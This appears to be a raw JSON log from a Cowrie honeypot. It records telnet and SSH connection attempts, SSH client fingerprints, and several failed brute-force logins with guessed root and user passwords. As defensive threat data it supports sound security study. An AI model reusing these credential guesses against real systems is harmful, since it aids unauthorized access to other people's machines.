{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":37846,"dst_ip":"10.17.0.5","dst_port":23,"session":"75976d770814","protocol":"telnet","message":"New connection: 165.232.131.181:37846 (10.17.0.5:23) [session: 75976d770814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:31:56.356862Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54694,"dst_ip":"10.17.0.5","dst_port":23,"session":"8535a9532b60","protocol":"telnet","message":"New connection: 62.210.97.77:54694 (10.17.0.5:23) [session: 8535a9532b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:31:59.226723Z"}
{"eventid":"cowrie.session.closed","duration":3.3865575790405273,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:31:59.743282Z","src_ip":"165.232.131.181","session":"75976d770814","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54702,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb56d8811059","protocol":"telnet","message":"New connection: 62.210.97.77:54702 (10.17.0.5:23) [session: eb56d8811059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:00.516876Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":41664,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4c3fd5c12d4","protocol":"telnet","message":"New connection: 192.211.53.160:41664 (159.203.135.109:23) [session: f4c3fd5c12d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:01.053644Z"}
{"eventid":"cowrie.session.closed","duration":34.972877979278564,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:05.192793Z","src_ip":"62.210.97.77","session":"68eeede965cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.67830801010132,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:05.826572Z","src_ip":"38.54.119.93","session":"38338a2b1ffb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":35878,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c93df8a3570","protocol":"ssh","message":"New connection: 172.185.24.228:35878 (10.17.0.5:22) [session: 2c93df8a3570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:08.956257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:08.961323Z","src_ip":"172.185.24.228","session":"2c93df8a3570","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:09.043874Z","src_ip":"172.185.24.228","session":"2c93df8a3570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev12","message":"login attempt [dev/dev12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:09.572747Z","src_ip":"172.185.24.228","session":"2c93df8a3570","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60652,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f3955432bfc","protocol":"telnet","message":"New connection: 62.210.97.77:60652 (10.17.0.5:23) [session: 4f3955432bfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:09.885077Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":52106,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6664e510405","protocol":"telnet","message":"New connection: 165.232.131.181:52106 (10.17.0.5:23) [session: c6664e510405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:09.941333Z"}
{"eventid":"cowrie.session.closed","duration":0.009433269500732422,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:09.950623Z","src_ip":"165.232.131.181","session":"c6664e510405","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:10.654039Z","src_ip":"172.185.24.228","session":"2c93df8a3570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.02828121185303,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:17.177373Z","src_ip":"165.232.131.181","session":"5d114b522eaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":54148,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8e9cac09b75","protocol":"ssh","message":"New connection: 20.203.42.204:54148 (159.203.135.109:22) [session: d8e9cac09b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:23.090045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:23.094732Z","src_ip":"20.203.42.204","session":"d8e9cac09b75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:23.261381Z","src_ip":"20.203.42.204","session":"d8e9cac09b75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"homeserver","message":"login attempt [root/homeserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:23.967696Z","src_ip":"20.203.42.204","session":"d8e9cac09b75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:25.141174Z","src_ip":"20.203.42.204","session":"d8e9cac09b75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.8629469871521,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:29.842661Z","src_ip":"62.210.97.77","session":"438e83c6fc9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49504,"dst_ip":"10.17.0.5","dst_port":23,"session":"5853421df3d7","protocol":"telnet","message":"New connection: 38.54.119.93:49504 (10.17.0.5:23) [session: 5853421df3d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:32.601193Z"}
{"eventid":"cowrie.session.closed","duration":33.37918663024902,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:32.605764Z","src_ip":"62.210.97.77","session":"8535a9532b60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.94466686248779,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:36.461399Z","src_ip":"62.210.97.77","session":"eb56d8811059","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.63064455986023,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:37.829858Z","src_ip":"38.54.119.93","session":"8283e105812c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.495771408081055,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:40.549282Z","src_ip":"192.211.53.160","session":"f4c3fd5c12d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.97046875953674,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:44.855435Z","src_ip":"62.210.97.77","session":"4f3955432bfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":33064,"dst_ip":"10.17.0.5","dst_port":22,"session":"54f6cb51c2af","protocol":"ssh","message":"New connection: 103.176.20.115:33064 (10.17.0.5:22) [session: 54f6cb51c2af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:51.765056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:51.770008Z","src_ip":"103.176.20.115","session":"54f6cb51c2af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:52.027637Z","src_ip":"103.176.20.115","session":"54f6cb51c2af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Smart@2024","message":"login attempt [root/Smart@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:53.087185Z","src_ip":"103.176.20.115","session":"54f6cb51c2af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:54.347646Z","src_ip":"103.176.20.115","session":"54f6cb51c2af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59616,"dst_ip":"10.17.0.5","dst_port":23,"session":"8de2e99fb77d","protocol":"telnet","message":"New connection: 165.232.131.181:59616 (10.17.0.5:23) [session: 8de2e99fb77d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:32:56.509460Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":41628,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a57d1ca87b8","protocol":"telnet","message":"New connection: 38.54.119.93:41628 (10.17.0.5:23) [session: 7a57d1ca87b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:33:06.178461Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":35136,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d7f9e76bca4","protocol":"ssh","message":"New connection: 172.185.24.228:35136 (10.17.0.5:22) [session: 4d7f9e76bca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:33:07.530959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:33:07.535610Z","src_ip":"172.185.24.228","session":"4d7f9e76bca4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:33:07.620262Z","src_ip":"172.185.24.228","session":"4d7f9e76bca4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin101","message":"login attempt [root/admin101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:33:08.039458Z","src_ip":"172.185.24.228","session":"4d7f9e76bca4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:33:09.212751Z","src_ip":"172.185.24.228","session":"4d7f9e76bca4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":50628,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6f448d8c5a2","protocol":"ssh","message":"New connection: 80.94.92.182:50628 (159.203.135.109:22) [session: b6f448d8c5a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:33:16.179923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:33:16.325764Z","src_ip":"80.94.92.182","session":"b6f448d8c5a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:33:16.329918Z","src_ip":"80.94.92.182","session":"b6f448d8c5a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#$%^","message":"login attempt [root/!@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:33:18.039106Z","src_ip":"80.94.92.182","session":"b6f448d8c5a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:33:19.294090Z","src_ip":"80.94.92.182","session":"b6f448d8c5a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.759321212768555,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:33:19.360415Z","src_ip":"38.54.119.93","session":"5853421df3d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":60924,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5a4f93d146d","protocol":"telnet","message":"New connection: 65.60.27.33:60924 (10.17.0.5:23) [session: b5a4f93d146d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:33:20.069734Z"}
{"eventid":"cowrie.session.closed","duration":38.19145464897156,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:33:34.700778Z","src_ip":"165.232.131.181","session":"8de2e99fb77d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57352,"dst_ip":"10.17.0.5","dst_port":23,"session":"8685d7d0fd2b","protocol":"telnet","message":"New connection: 62.210.97.77:57352 (10.17.0.5:23) [session: 8685d7d0fd2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:33:35.699917Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50854,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9d725c6e69f","protocol":"telnet","message":"New connection: 65.60.27.33:50854 (10.17.0.5:23) [session: f9d725c6e69f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:33:36.959699Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":39224,"dst_ip":"159.203.135.109","dst_port":23,"session":"49a01397ecaf","protocol":"telnet","message":"New connection: 192.211.53.160:39224 (159.203.135.109:23) [session: 49a01397ecaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:33:41.456320Z"}
{"eventid":"cowrie.session.closed","duration":43.2342414855957,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:33:49.412579Z","src_ip":"38.54.119.93","session":"7a57d1ca87b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":41982,"dst_ip":"159.203.135.109","dst_port":23,"session":"debaef528860","protocol":"telnet","message":"New connection: 192.211.53.160:41982 (159.203.135.109:23) [session: debaef528860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:33:49.960474Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47672,"dst_ip":"10.17.0.5","dst_port":23,"session":"29fecc818c81","protocol":"telnet","message":"New connection: 65.60.27.33:47672 (10.17.0.5:23) [session: 29fecc818c81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:34:00.625554Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":32984,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9a5aef7cea4","protocol":"telnet","message":"New connection: 62.210.97.77:32984 (10.17.0.5:23) [session: d9a5aef7cea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:34:02.336351Z"}
{"eventid":"cowrie.session.closed","duration":4.16843843460083,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:34:04.793884Z","src_ip":"65.60.27.33","session":"29fecc818c81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.72938394546509,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:34:04.798979Z","src_ip":"65.60.27.33","session":"b5a4f93d146d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":44624,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae89eacf8aa2","protocol":"ssh","message":"New connection: 20.203.42.204:44624 (159.203.135.109:22) [session: ae89eacf8aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:34:07.316025Z"}
